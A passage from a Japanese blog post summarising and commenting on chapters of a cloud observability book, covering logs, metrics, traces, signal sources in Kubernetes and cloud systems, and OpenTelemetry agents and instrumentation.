tracing分散トレーシングでクラウドネイティブシステムを徹底的に可視化エンドツーエンドの可視化でシステムをホリスティックに理解分散トレーシングを成功に導く秘訣分散トレーシングの未来組織の分散トレーシングは俺と仲間で育ててる9 Developer observabilityDeveloper observabilityで開発者の生産性を加速するContinuous profilingの技術的側面に迫るプロファイルの保存と分析の課題に挑むあわせて6本にしてみる...10 Observability In ActionSLOでサービスの信頼性を定量化し、顧客満足度を高めるSLOの実装と運用における留意点サービスの継続的な改善の為のSLO11 Signal correlationシグナル相関で複雑なシステムの動作を俯瞰的に理解するOpenTelemetry、Jaeger、Grafanaを使ったメトリクスとトレースの相関シグナル相関の実装における課題と対策将来に向けたシグナル相関の可能性さいごに参考資料1 End-to-end observability本章「1 End-to-end observability」は、クラウドネイティブシステムにおけるオブザーバビリティ(観測可能性)の概念と重要性を詳しく述べています。Observability Engineeringについては読書感想文を書いているので合わせて読んでみてください。syu-m-5151.hatenablog.comオブザーバビリティの定義と目的オブザーバビリティとは、システムから取得できる信号に基づいて、そのシステムの内部状態を継続的に把握し、インサイトを得ることで、システムに影響を与える能力のことです。オブザーバビリティは単に監視(モニタリング)ツールを導入するだけでは不十分です。システムの外側から収集した情報を、そのままダッシュボードなどの可視化ツールに表示するのではなく、行動可能な洞察(アクショナブルなインサイト)を生み出すことが本質的な目的となります。つまり、観測対象のシステムの外側から情報を収集し、分析を行い、それらから具体的なアクション(行動)を引き出すプロセス全体を指します。クラウドネイティブの分散システムでは、システムを構成するコンポーネントが多数に分かれ、ネットワーク経由で相互に通信を行うため、従来のモノリシックなシステムに比べてシステム全体の状態把握が困難になります。このため、オブザーバビリティが非常に重要な役割を果たします。状況を\\"飛ばず\\"に把握し、適切な制御を行えるようになることで、以下のようなユースケースに対応できるようになります。コード変更の影響の把握: 新機能の追加やバグ修正によるシステム全体へのインパクト(パフォーマンスへの影響、副作用の発生、リソース使用量の変化など)をモニタリングし、必要な対処を行える。サードパーティ依存関係の監視: 自社のシステムが依存する外部API(決済サービス、ロケーションサービスなど)の可用性、健全性、パフォーマンスを把握し、問題が発生した際の対応を行える。ユーザー体験(UX)の測定: アプリケーションやサービスの応答性、信頼性をユーザーの視点から継続的に測定し、UXの維持・改善につなげられる。システムの健全性とパフォーマンスの追跡: システム全体のアップタイム、応答時間分布、障害の影響範囲(有償ユーザへの影響、無償ユーザへの影響、重要取引先への影響など)を継続的に監視できる。障害の影響範囲(ブラストレディウス)の特定: 障害発生時に、その障害がシステム全体にどの程度影響を与えているのか(ブラストレディウス)を特定できる。さらに根本原因を絞り込み、Kubernetesコントロールプレーン、データプレーン、VMなどの障害発生場所を特定できる。サービスの最適化: サービスのパフォーマンス、リソース使用量、コスト、応答時間などを定量的に測定し、ボトルネックの特定や最適化を行える。開発者生産性の向上: アプリケーションコードのプロファイリングやログ解析などを通じて、パフォーマンスの問題箇所や冗長なコードの特定が可能になり、適切にコード改善を行うことで開発者の生産性を高められる。アクセスとコンプライアンスの監査: 様々なサービスやデータへのアクセス権限を自動的に追跡し、不正アクセスを検知できる。さらに監査証跡を残すことで、規制当局からの検査に備えられる。オブザーバビリティの目的は、上記のようなユースケースに対して、システムの状況をデータドリブンに把握し、適切な対処を迅速に行えるよう支援することにあります。単なるモニタリングツールの導入ではなく、収集した様々な種類の情報から総合的かつ根本的な理解を得て、それに基づいてアクションを起こすことが重要となります。オブザーバビリティのコンポーネントオブザーバビリティを実現するためには、さまざまなコンポーネントが関係してきます。これらのコンポーネントが有機的に連携し、それぞれの役割を果たすことで、オブザーバビリティが実現されます。主なコンポーネントは以下の通りです。システム(System under observation): 観測対象となるクラウドネイティブアプリケーションやプラットフォーム全体信号(Signals): システムから外部に出力される、以下の3種類の情報ログ: アプリケーションの動作履歴をプレーンテキストで記録した情報。エラーメッセージや例外の詳細情報などが含まれる。メトリクス: アプリケーションの運用状況を数値で表した指標。CPU使用率、メモリ使用量、リクエスト処理時間、エラー率などのデータ。トレース: 個々のリクエストがシステムの各コンポーネントを通過する際の、処理フローと時間情報の記録。サービス間の呼び出し関係と、それぞれの処理にかかった時間を特定できる。ソース(Sources): アプリケーションコード、データベース、メッセージキュー、クラウドプロバイダのマネージドサービスなど、信号を生成するコンポーネント。エージェント(Agents): 信号を収集し、前処理やルーティングを行う役割。例えばFluentBitはログのエージェント、OpenTelemetry Collectorはメトリクス/トレースのエージェントとして機能する。宛先(Destinations): ダッシュボード、アラートシステム、長期ストレージ、分析ツールなど、信号を消費し可視化/分析を行う場所。Telemetry: 信号をソースから収集し、エージェントを経由して前処理や分割を行った後、宛先に送信するプロセス全体のこと。fluentbit.io以下の図はこれらのコンポーネント間の関係を視覚化しています。Figure 1.1 Observability overview より引用オブザーバビリティは一方通行のプロセスではなく、フィードバックループを形成しています。例えば、人間がダッシュボードから情報を得て再起動のアクションを取ったり、アプリケーションがメトリクスに基づいて自動スケーリングを行ったりと、収集した信号に基づいてシステムに影響を与えることになります。様々な信号を組み合わせて分析することで、より深いシステムの理解につながり、適切なアクションを起こすことができます。単一の信号からは得られない総合的なインサイトを、信号間の相関によって引き出すことが可能になります。具体例としてのマイクロサービスアプリ \\"Sock Shop\\"本章では、Weaveworksが公開しているマイクロサービスアプリケーション\\"Sock Shop\\"を具体例に、オブザーバビリティの実践を説明しています。Sock Shopは、Spring Boot、Go kit、Node.jsなど複数の言語・フレームワークを用いて構築された、オンラインストアのデモアプリです。kakakakakku.hatenablog.comDocker コンテナイメージに格納されており、Kubernetes などのコンテナオーケストレーターで実行できます。Figure 1.2 The example microservices app we use for observability exploration より引用本章では、このアプリを実際にKubernetes上で起動し、それぞれのコンポーネントが出力するログやメトリクスの具体例が紹介されています。ログの例(ソース: ordersサービス)Javaで実装されたSpring Bootベースのマイクロサービスから出力されるログが示されています。ログを有効に活用するには、FluentBitなどのエージェントを使ってOpenSearch や CloudWatch などの宛先にルーティングする必要があります。メトリクスの例(ソース: frontendサービス)フロントエンドのNode.jsサービスから出力されるメトリクスがPrometheus形式で示されています。メトリクスを収集するには、Prometheus自身かOpenTelemetry Collectorなどのエージェントが必要です。長期保持のためにはCortexやThanosなどの宛先を用います。このようにSock Shopは、実際にクラウドネイティブなマイクロサービスアプリケーションが出力する様々な信号を確認できる題材として使われています。github.comさらに、トレースについても簡単に触れられており、リクエストの実行フローの可視化や、各サービスの処理時間、ステータスなどを確認できるとされています。オブザーバビリティを実現するには、Jaeger、Zipkin、AWS X-Rayなどのトレーシングツールの導入が必要になります。クラウドネイティブの課題とその解決クラウドネイティブなシステムには、従来のモノリシック構成のシステムとは異なる以下のような課題があり、オブザーバビリティがその解決を助けます。分散システム: コンポーネントが分散し、ネットワーク経由で疎結合に結ばれているため、システム全体を把握することが難しい。モノリシックな構成に比べ、システムの\\"見えづらさ\\"が高まる。コンポーネントの場所の重要性: リクエストを処理する各コンポーネントの実行場所(ノード、アベイラビリティーゾーン、リージョンなど)が、パフォーマンスやレイテンシーに大きく影響する。場所情報の重要性が増す。コンポーネントの頻繁な入れ替えと揮発性: マイクロサービスのコンポーネントやKubernetesのPod、Lambda関数バージョンの入れ替えが非常に頻繁に行われ、さらにIPアドレスも動的に変化するなど、システム構成の揮発性が高まる。これらの課題に対して、オブザーバビリティは以下のように貢献します。全ての関連する信号を自動収集し、アクションに結びつける手段を与えるシステムを\\"飛ばず\\"に把握し、状況に応じた適切な制御を行えるようになる。ログ、メトリクス、トレースなど複数の信号を収集・分析することで、システムへの深い理解を得られる。信号間の相関により、単一の信号からは得られない総合的な把握が可能になる異なる種類の信号を組み合わせることで、より包括的な視点が得られる。例えばメトリクスの異常からトレースにドリルダウンし、さらにログを確認することで、障害の原因を徹底的に追究できる。オープンスタンダードとオープンソースの採用によりポータビリティが確保され、特定のベンダーやプラットフォームへのロックインを回避できる例えば、OpenTelemetryを用いてアプリケーションに計装を行えば、後からデータ収集の宛先を柔軟に変更可能になる。異なるクラウドプロバイダ間や、オンプレとクラウドをまたいでも同じ方式が適用できる。一方で、オブザーバビリティの導入と運用には以下のようなコストがかかります。計装の開発者の労力アプリケーションコードにロギングやメトリクス、トレーシングの計装を行う必要があり、継続的な労力を要する。信号(ログなど)の保持コスト長期保持が必要なログなどの信号データを保存する、ストレージ費用が発生する。エージェントや計装自体の計算リソースオーバーヘッド信号収集やルーティングを行うエージェントプロセス自体に、一定のCPU/メモリリソースが必要になる。ネットワーク使用量に応じたコスト収集された信号のデータ転送に伴うネットワークトラフィックの費用も考慮しなければならない。これらのコストに見合うだけの投資対効果があるかどうかを、個々の状況において適切に判断する必要があります。効果の測定として、オブザーバビリティツールの導入前後での障害からの平均復旧時間(MTTR)の改善を確認するのが一般的です。その他、開発者のストレス軽減やワークライフバランスの向上など、定性的な効果も期待できます。Return on Investment Driven Observability では、この投資対効果について詳しく議論されています。本書では、教育的な観点から、ログ、メトリクス、トレースといった概念の境界線に沿って解説を進められています。しかし、実際の現場では、これらの概念が混在していることが多いです。プロジェクトやプロダクトが成熟するにつれ、スコープが広がり、概念の切り分けが難しくなるのです。例えば、ログデータの中にメトリクスとして活用できる情報が含まれていたり、トレースデータからログ的な情報を抽出したりすることがあります。また、これらの概念を組み合わせて、より高度な分析や監視を行うこともあるでしょう。本書を活用する際は、このような教育的な側面と実践的な側面のバランスを意識していただければと思いました。概念の境界線を理解することは重要ですが、同時に現場での柔軟な適用も必要不可欠です。本書で得た知識を基礎として、実際のプロジェクトやプロダクトの文脈に合わせて応用していくことが求められます。オブザーバビリティはクラウドネイティブ時代の必須プラクティスオブザーバビリティは、クラウドネイティブな分散システムを効果的に運用する上で不可欠なプラクティスと言えます。システムから出力される様々な信号(ログ、メトリクス、トレース)を収集し、相関させることで、システム全体の状況を多角的に把握し、適切な対処を迅速に行えるようになります。しかしながら、オブザーバビリティの導入と運用には一定のコストがかかります。計装の労力、データ保持コスト、リソースオーバーヘッド、ネットワークトラフィックなどです。これらのコストに見合うだけの効果(MTTRの改善、開発者の生産性向上など)があるかを、個別のユースケースにおいて検討する必要があります。オープンスタンダードとオープンソースのツールを適切に選択・活用することで、特定のベンダーにロックインされるリスクを回避でき、ポータビリティを確保できます。例えばOpenTelemetryはその好例です。オブザーバビリティは、単なるモニタリングツールの導入ではなく、システムへの深い理解を得て、適切なアクションにつなげるための実践的な取り組みです。クラウドネイティブ時代において、ソフトウェアエンジニアやSREが理解しておくべき重要な概念であり、実務で実践していく必要があります。syu-m-5151.hatenablog.com2 Signal typesオブザーバビリティの3本柱クラウドネイティブな分散システムを効率的に監視・運用するためには、ログ、メトリクス、トレースという3つの主要な信号タイプを適切に組み合わせたオブザーバビリティが不可欠です。本章では、それぞれの信号タイプについて詳しく解説されており、その特徴、計装の方法、コスト、利点、オブザーバビリティへの貢献などが丁寧に説明されています。さらに、実際のサンプルアプリケーションを用いた具体例を通して、各信号タイプの収集・可視化方法が示されており、監視システムの構築に役立つ実践的な知見が提供されています。ログ: 人間が読み解くテキストベースの出力ログはアプリケーションの動作履歴やエラー情報などをテキストで記録したものです。開発者がバグの特定を行ったり、SREが障害の原因を追跡する際に、ログの存在は非常に重要です。近年では構造化データ形式(JSONフォーマットなど)を用いたログが主流となり、コンテキスト情報(ラベル)を付与することで検索性や相関性が向上しています。本章ではGoの logrus ライブラリを使って、サンプルアプリケーションに構造化ログの出力機能を追加する例が示されています。github.com出力されたログは FluentBit エージェントによって収集され、 Loki へ転送されます。GrafanaでLokiのデータソースを設定してを、Lokiを使ってログを可視化・探索することができます。grafana.comログには計装のための開発コストや、大量のログデータを保持するためのストレージコストがかかります。しかし、大半の開発者に理解されており、プログラミング言語の標準ライブラリでサポートされているのがログの大きな利点です。保持コストを抑えるには、データの温度(アクセス頻度)に応じて適切な保持期間を設定することが重要です。ホットデータ: 直近のログであり、即座にアクセス可能で高速な検索性が求められる(数日〜数週間程度)ウォームデータ: すぐには必要ないが将来的に参照する可能性のあるログ(数ヶ月〜数年程度)コールドデータ: アクティブには使わないが規制上保持が義務付けられているログ(長期保持用のオブジェクトストレージなどに格納)ログは人間が読み解くことを前提とした信号タイプですが、近年では Promtail のようなエージェントによる構造化ログの収集や、Lokiのようなデータストアでのラベルベース検索が可能になってきました。一方で完全にテキスト検索に頼らず、トレースへの移行を推奨する意見 (https://arxiv.org/abs/2303.13402) もあり、ケースバイケースでの適切な選択が重要になってくるでしょう。grafana.comメトリクス: 自動化された監視・分析に役立つ数値指標メトリクスは定期的にサンプリングされる数値の指標であり、システムやアプリケーションの状態を数値で表します。CPU使用率、メモリ使用量、リクエスト処理時間、エラー率など、ほとんどの監視対象項目はメトリクスとして表現できます。メトリクスの大きな利点は、数値であるがゆえに自動化された監視・分析が可能になることです。本章ではGo製アプリケーションにPrometheus Client Libraryを使ってメトリクスの出力機能を追加し、エラー率のメトリクスを計算するコードが紹介されています。github.comこのアプリから出力されるメトリクスは Prometheus エージェントによって収集され、GrafanaでPrometheusのデータソースを設定して、Prometheusを使ってメトリクスを可視化・分析します。grafana.comメトリクスの計装コストは自動化の恩恵を受けられるケースが多く、比較的低コストです。プログラミング言語の標準ライブラリやミドルウェアによる自動計装の機能が増えてきており、手動での計装コストも限定的です。一方で、指標の種類が増えるとカーディナリティ爆発の問題が発生する可能性があります。例えばユーザーIDをメトリクスのラベルに含めると、大量のユーザーがいる場合に膨大な種類の指標が生成されてしまいます。このようなカーディナリティの高いメトリクスを時系列データベースで保持・検索しようとすると、パフォーマンスが極端に低下する恐れがあります。そのため、収集するメトリクスの種類を限定する、オートプルーニングを行うなど、適切なカーディナリティ管理が重要になります。また、大量のメトリクスデータを長期保持する際には、データ圧縮や集約が必須です。Cortex や Thanos のようなシステムが、スケーラブルなメトリクス長期保存のためのベストプラクティスを提供しています。収集するメトリクスの種類、保持期間、データ形式などを検討する必要があります。メトリクスの主な利用シーンとしては以下が挙げられます。ダッシュボード表示: CPU使用率や処理レイテンシーなどをリアルタイムにモニタリングするアラート発報: メトリクスの閾値超過を検知し、自動的にアラートを通知する自動スケーリング: リクエスト数などのメトリクスに基づいてリソースを動的に拡張/縮小するSLI/SLO監視: サービスレベルインディケータ(SLI)としてのメトリクスを使い、合意された目標水準(SLO)の達成状況をモニタリングするアノマリー検知: 機械学習で正常値の範囲を予測し、異常値を検出するメトリクスはオブザーバビリティを実現する上で中心的な役割を担う信号タイプです。数値指標であるがゆえに自動化が容易であり、リアルタイムな監視だけでなく長期的なトレンド分析や容量計画にも活用できます。トレース: マイクロサービスの処理フローを可視化するトレースは分散システムにおけるリクエストの処理フローを可視化する手段です。マイクロサービスアーキテクチャを採用する上で、そのコンポーネント間の呼び出し関係を把握することは非常に重要です。トレースはリクエストに固有のIDを割り当て、各サービスでの処理時間とステータスを記録することで、そのリクエストの実行フローを可視化します。本章では OpenTelemetry Go ライブラリ を使って、サンプルアプリケーションにトレーシングの機能を追加する例が示されています。github.com生成されたトレースは Jaeger によって収集・可視化されており、GrafanaでJaegerのデータソースを設定して、JaegerのTrace Viewを見ることができます。grafana.comトレースの計装コストは比較的高めですが、マイクロサービス間の呼び出し関係の可視化やボトルネックの特定に役立つため、分散システムを運用する上では非常に重要です。一方で、大量のトレースデータを保持するためのストレージコストや、リクエストへのコンテキスト伝搬によるパフォーマンスオーバーヘッドにも注意が必要です。トレースデータを保存するためのストレージとしては以下のようなアプローチが一般的です。専用のデータストア (ClickHouseなど)NoSQLデータベースを活用 (Cassandra、HBase、Elasticsearchなど)オブジェクトストレージとクエリエンジン (Grafana Tempoなど)各アプローチにはトレードオフがあり、データ量、検索パフォーマンス、コストなどの要件に合わせて適切なものを選択する必要があります。トレースの主な利用シーンは以下のようになります。レイテンシーの特定: リクエスト処理の遅延箇所を特定し、パフォーマンスの最適化を行うデバッグ支援: 本番環境での障害発生時に、該当リクエストのトレースを参照してルート原因を特定するアーキテクチャ可視化: サービスマップやサービス間の呼び出し関係を把握し、アーキテクチャの改善に活かすこのようにトレースは、マイクロサービスアーキテクチャにおける処理フローの可視化を実現する上で非常に重要な役割を担っています。SREやオンコール担当者がインシデント発生時の初動対応を行う際に活用されることも多くなってきています。収集する信号の選定とコスト管理本章の終盤では、オブザーバビリティを実現するために収集すべき信号の選定と、コストコントロールに関する考え方が説明されています。アクションにつながるインサイトを生むか、適切な保持期間が設定できるか、ROI(投資対効果)を考慮する必要があります。具体的な指針は以下の通りです。収集する信号がアクションにつながるインサイトを生み出すか? 単にノイズになるだけの信号は避けるべき信号の保持期間をどう設定するか? タスクや業界の規制に合わせて適切に決めるメトリクスの正常な値範囲(ベースライン)を設定し、異常検知に活用する信号の過剰収集は避け、ROIを意識する 保持するメリットが不明確な信号はコストの無駄収集する全ての信号で一貫したラベル付けを行う 相関性の確保に役立つこのように、オブザーバビリティを実現するためには信号の選別と、収集・保持に伴うコスト管理が重要になってきます。収集しすぎても意味がありませんし、重要な情報が欠落していても目的が果たせません。用途に合わせて 適切な種類の信号を適切な量だけ収集する という観点が欠かせません。オブザーバビリティを支える3本柱の理解と適切な運用が肝心ログ、メトリクス、トレースは、クラウドネイティブな分散システムのオブザーバビリティを実現する上で、それぞれ異なる役割を担う重要な3つの信号タイプです。ログはテキストベースの出力であり、人間が読み解いて状況を把握したりデバッグを行う際に役立ちます。メトリクスは数値の指標であり、自動化された監視・分析や、アラート発報、自動スケーリングなどに適しています。トレースはマイクロサービス間の処理フローを可視化する手段であり、分散システムを運用する上で欠かせません。各信号タイプにはそれぞれ長所と短所があり、3つの信号を組み合わせて収集・活用することで、システム全体の状況を多角的に把握できるようになります。しかし、それぞれに計装コストや保持コスト、リソース消費などのオーバーヘッドがあるため、収集する信号とその収集方法については、ユースケースごとのコストとROIを考慮する必要があります。本章ではサンプルアプリを使った具体例を交えながら、各信号タイプの特徴や計装の方法、Fluentbit、Promtail、Prometheusなどの収集エージェントの利用方法、GrafanaやLoki、Jaegerなどの可視化ツールの活用例が解説されています。これらの知見は監視システムの構築や運用を検討する上で参考になるはずです。ソフトウェアエンジニアやSREは、3つの信号タイプの特性を理解した上で、システムの要件に合わせて最適な組み合わせと収集方法を選択し、効率的なオブザーバビリティの実現を目指す必要があります。 信号の過剰収集に陥らず、ラベル付けの統一や信号間の相関性の確保など、コストを抑えながら有用な情報を得られる適切な運用が何より重要になります。オブザーバビリティの実現には、これら3つの主要な信号タイプを適切に組み合わせた上で、効果的な収集と活用を行うことが不可欠です。各信号タイプには一長一短があり、単独では十分なオブザーバビリティを得ることはできません。ログは人間が読み解くためのテキスト出力ですが、構造化の進展により自動分析の機会も増えてきました。しかしマイクロサービスアーキテクチャにおいては、処理フローの可視化という点でトレースに一部の役割が移行しつつあります。用途に応じてログとトレースを使い分ける必要があります。一方、メトリクスは数値指標のため自動化が容易であり、リアルタイムの監視だけでなく長期的な分析や容量計画にも活用できます。ただし、メトリクスの種類が増えるとカーディナリティ爆発のリスクがあり、適切なカーディナリティ管理が欠かせません。また、大量データの長期保持にはデータ圧縮や集約が必須になります。トレースはマイクロサービス間の処理フローを可視化するため、分散システムの運用では欠かせません。一方で、計装コストが高く、大量データの保持やコンテキスト伝搬によるパフォーマンスオーバーヘッドにも留意が必要です。ストレージの選択では、データ量やパフォーマンス要件、コストを考慮する必要があります。このように、オブザーバビリティを実現するには、3つの信号タイプそれぞれの長所と短所を理解した上で、システムの要件に合わせて最適な組み合わせと収集方法を選択することが肝心です。信号の過剰収集は避け、ラベル付けの統一やコスト管理、信号間の相関性の確保など、効率的な運用が何より重要になります。収集する信号については、以下の点を考慮する必要があるとしています。アクションにつながるインサイトを生み出すか?適切な保持期間が設定できるか?メトリクスの正常値範囲(ベースライン)は設定できるか?ROI(投資対効果)を意識した収集が可能か?信号間で一貫したラベル付けができるか?ソフトウェアエンジニアやSREは、このような点に留意しながら、効率的なオブザーバビリティの実現に努める必要があります。本章で示された具体例は、実際の監視システム構築の参考になるはずです。コストを抑えつつ、有用な情報を効果的に収集・活用できる環境を整備することが求められます。3 Sourcesクラウドネイティブシステムにおける多様な信号源の理解と活用本章「3 Sources」では、クラウドネイティブシステムにおけるオブザーバビリティの実現に欠かせない、様々な信号源(ソース)について詳しく解説されています。コンピューティング、ストレージ、ネットワーク、そして自身のコードに至るまで、各ソースからの信号取得の重要性と注意点が丁寧に説明されており、オブザーバビリティの実践に向けた実用的な知見が提供されています。Figure 3.1 A spectrum of compute, infrastructure, and application level より引用この図はコンピューティングリソースをインフラストラクチャレベル(VM、コンテナなど)とアプリケーションレベル(マイクロサービスやモノリシックアプリなど)に分けて示しています。インフラストラクチャレベルの監視は主に運用者が関与し、アプリケーションレベルの監視は開発者が関与する、といった役割分担が一般的です。しかしながら実際のプロダクション環境では、これら2つのレベルが複合的に組み合わさっていることが多いため、様々なソースからの信号を包括的に収集・相関させる必要があります。Figure 3.2 Signal sources in Kubernetes より引用この図はKubernetesにおけるコントロールプレーンとデータプレーンから出力される様々な信号源を示しています。コントロールプレーンのコンポーネントであれば、主にログとメトリクス、一部でトレースが出力されます。一方のデータプレーンではアプリケーションコンポーネントからログ、メトリクス、トレースが出力されることが一般的です。単一のプロダクト内に多種多様な信号源が存在するため、ホリスティックなオブザーバビリティ対応が求められます。以上の通り、クラウドネイティブな分散システムにはさまざまな種類の信号源が存在し、それぞれ特有の注意点があります。ソフトウェアエンジニアやSREは、これら多様な信号源の存在を理解した上で、用途に応じて適切な手段を選択し、効率的なオブザーバビリティの実現を目指す必要があります。単一の手法に固執するのではなく、必要に応じて収集方法を使い分けながら、ホリスティックな可視化を実現することが肝心です。そのためには本章で解説された信号源に関する深い理解が不可欠だと思います。コンピューティング関連のソースの詳細VMについては、オペレーティングシステムレベルの情報が参照できる点が大きな利点です。本書ではJVMを例に挙げ、JVMはログ、ヒープメモリ使用量、スレッド数など様々なメトリクスを出力することが説明されています。実際のJVM監視ツールとしてはSematextの提供するガイドが紹介されています。JVMは豊富な信号源となり、開発者はこれらのメトリクスを活用してパフォーマンスチューニングやデバッグを行えます。コンテナの場合、コンテナランタイム自体と、コンテナ内で実行されるアプリケーションの両方から情報が出力されます。コンテナランタイムの例としてDockerデーモンが挙げられ、docker logsコマンドでコンテナログを参照できます。また、Dockerコンテナ内のアプリケーションも標準的にログを標準出力に出力するよう12ファクターアプリの設計思想に従います。コンテナランタイムのメトリクス収集には、cAdvisorやTelegrafのDockerプラグインが活用できます。開発者はアプリケーションログを参照し、運用者はコンテナランタイムのメトリクスを監視することで、それぞれの観点からコンテナの状況を把握できます。Kubernetesでは多岐にわたるコンポーネントから様々なシグナルが出力されるため、包括的な理解が重要になります。コントロールプレーンのコンポーネント(APIサーバー、etcd、kubeletなど)からはログ、メトリクス、監査ログ、トレース(APIサーバーのみ)が出力されます。一方のデータプレーンではアプリケーションからのログ、メトリクス、トレースが主な情報源となります。Figure 3.2がKubernetesにおける様々な信号源を示しています。本文中でも触れられているように、Kubernetesではログの取り扱いが分散されており、収集の仕組みを整備する必要があります。アプリケーションログはkubectl logsで一時的に参照できますが、本番環境では永続化が必須です。Fluentbit、Fluentdなどのエージェントを使ってクラウドプロバイダーのログ基盤に転送するのが一般的なパターンです。Kubernetesでは、ログに加えメトリクスとトレースにも注目が集まっています。メトリクスはPrometheus形式で出力されており、kubectl get --raw /metricsで参照できます。一方、トレースはOpenTelemetryを使ってAPIサーバーの動作を追跡できるよう、コミュニティによってサポートが進められています。ストレージ関連のソースの詳細RDBMSでは、パフォーマンスモニタリングにおいてクエリプランナーの動作を理解することが肝心です。PostgreSQLの場合はEXPLAINでプランを確認できますし、各種モニタリングツールでも詳細情報にアクセスできます。例えばpgMonitorなら待機リソースのボトルネックやクエリの履歴なども確認できます。ベンダー製品でも同様の情報を得られます。例えばAWS Redshiftでは、CPU、メモリ、ストレージの使用量など基本的なメトリクスに加え、明示的にスロークエリIDを確認できます。RDBMSではパフォーマンスの観点からクエリプランナーの動作を細かく監視することが重要ですが、NoSQLデータストアではアプローチが異なります。NoSQLデータストアでは、アクセスパターンやストレージレイアウトが重要な監視対象となります。例えば、キャッシュとしても使われるRedisであれば、メモリ使用量のメトリクスが有用です。一方でMongoDB(ドキュメントストア)では、ディスクIOパフォーマンスのメトリクスに注目する必要があります。本書ではElasticsearch(検索エンジン)の事例も紹介されており、背景にあるLuceneのインデックシングプロセスを監視する重要性が説明されています。このようにNoSQLではアクセスパターンに合わせて監視対象を適切に選定することが求められます。RDBMSやNoSQLデータストアのメトリクスを収集する手段としては、PostgreSQL Server ExporterやpgMonitor、クラウドベンダー製品の活用が挙げられています。自社運用の場合はPrometheusと組み合わせるといった方法もあり、より詳細なカスタマイズが可能です。一方でクラウドベンダー製品を利用すれば、運用の手間を大幅に削減できます。RDBMSとNoSQLでは監視の着眼点が異なるため、目的に合わせて適切な手段を選ぶ必要があります。ネットワーク関連のソースの詳細ネットワークデバイスからは大量のログが出力されます。そのためノイズを除去し、価値のある情報だけを抽出することが課題となります。例えばロードバランサーであれば、リクエストの送信元IPやパスに基づいてフィルタリングすると効率的なモニタリングが行えます。AWS ALBの場合は、リクエスト量、アクティブコネクション数、HTTPステータスコードなどのメトリクスが出力されます。ALB自体の稼働状況だけでなく、バックエンドへのトラフィック情報なども確認できるため、アプリケーションの挙動を多角的に監視することが可能です。より高度な運用では、リクエストコンテンツやレスポンスページのレンダリング時間などもモニタリング対象になりうるでしょう。VPNやVPCから得られる情報では、セキュリティモニタリングが主な用途となります。例えばVPC FlowLogsからSSHやRDPアクセスをモニターすれば、不正アクセスの検知に活用できます。そのほか送受信トラフィックのパターン分析を行えば、DDoS攻撃の検知なども可能になります。VPCフローログは全てのIPトラフィックを記録するため、ネットワークの可視化に役立つと同時に、ログ量が膨大になる点にも注意が必要です。用途に応じて適切にフィルタリングする必要があります。ネットワーク関連ソースは大量のノイジーなデータが出力されるため、フィルタリングやラベル付けが重要になります。ALBの場合はデプロイ単位や環境単位でリクエストにラベルを付与することで、効率的なモニタリングが可能となります。また、Kubernetesなどのオーケストレーターを利用する場合は、Ingressリソースなどの抽象化されたネットワーク構成から出力されるシグナルをモニターする必要があります。自身のコード関連の詳細オープンソースのOpenTelemetryは、ログ、メトリクス、トレースの各種信号をベンダーロックインなしに管理できる魅力的なスタンダードです。ただし既存のコードに計装を行うコストがあり、コストとベネフィットのトレードオフを考慮する必要があります。将来の再計装のコストを避けたいのであれば、OpenTelemetryを中心におき、自動計装を最大限活用するのがよいでしょう。一方でCI/CDパイプライン自体も重要な信号源となります。ここからデプロイ進捗や所要時間、テスト結果などのメトリクスが得られます。新しいビルドが発生する度にこれらのメトリクスを監視することで、パフォーマンスの変化やボトルネックを事前に検知できます。将来的にはDigmaやSprkl.devといった専用ツールを使った開発者向けオブザーバビリティも重要になってくるでしょう。特にIDE上でコード変更の影響を可視化したり、プロファイリングデータからボトルネックを特定する機能が期待されています。信号の収集対象として最後に挙げられているのがプロキシソースです。ここでは監視対象外だが監視が必要なコンポーネントに対し、プロキシサーバーを介することで情報収集を実現する方法が説明されています。Prometheusの場合はKafkaやIoTデバイスなど非対応コンポーネントからExporterを使ってメトリクスを収集できます。またPushgatewayではバッチジョブなど一過性のプロセスからもメトリクス収集が可能になります。この他にも、ミドルウェアのDockerネットワークドライバを使えばDockerコンテナからログやメトリクスを抽出できます。あるいはSysdigの機能を活用すれば、アプリケーションレベルからカーネル全体の実行状況を詳細に可視化できるでしょう。特にeBPFを利用したSysdigの監視機能は注目すべき点で、プロセス単位でのリソース消費を正確にトレースすることが可能になります。オブザーバビリティの実現には様々なアプローチが存在します。システムを包括的にオブザーバブルにするには、これらの多様な手段を組み合わせていく必要があります。プロキシソースの活用は強力ですが、各ソースで得られる情報が多すぎるとノイズになりかねません。一方で全くオブザーバブルでない領域が残れば、ブラインドスポットが生まれてしまいます。信号収集の目的とコストを見極め、的を絞って収集・活用を行う工夫が求められます。収集対象の信号は最小限に留め、メタデータの付与や集約を行うといった対策も重要になってくるでしょう。4 Agents and instrumentationObservabilityにおけるAgentsとinstrumentationの役割本章「Agents and instrumentation」は、Observabilityを実現するための重要な要素であるエージェントと計装について詳しく解説しています。著者は、従来のベンダー固有のエージェントやシグナル固有のエージェントと対比させながら、オープンソースの包括的なObservabilityフレームワークであるOpenTelemetryを紹介しています。全然、別件でLearning Opentelemetryの読書感想文を書いていたので合わせて読んでみてください。syu-m-5151.hatenablog.comOpenTelemetryは、仕様、SDK、プロトコル(OTLP)、エージェントから構成される一連のコンポーネントであり、ベンダーに依存せずにログ、メトリクス、トレース、将来的にはプロファイルを収集・処理・取り込むことができます。OpenTelemetryを使えば、シグナルの発生元(リソース属性)とテレメトリシグナル自体の両方について、豊富なメタデータを得ることができます。このメタデータには、各シグナルが生成されたサービス、ホスト、コンテナ、クラウドリソースなどの情報が含まれ、システムの動作を理解し、問題の根本原因を特定する上で非常に重要な役割を果たします。特に、大規模な分散システムでは、各コンポーネントが生成するログ、メトリクス、トレースを関連付けて分析することが不可欠です。OpenTelemetryは、これを可能にする強力なフレームワークであると言えます。OpenTelemetryが提供する豊富なメタデータと、統一された方法でデータを収集・処理する仕組みにより、複雑なシステムの動作を俯瞰的に把握することができます。意味論的規約の重要性また、著者は意味論的規約(semantic 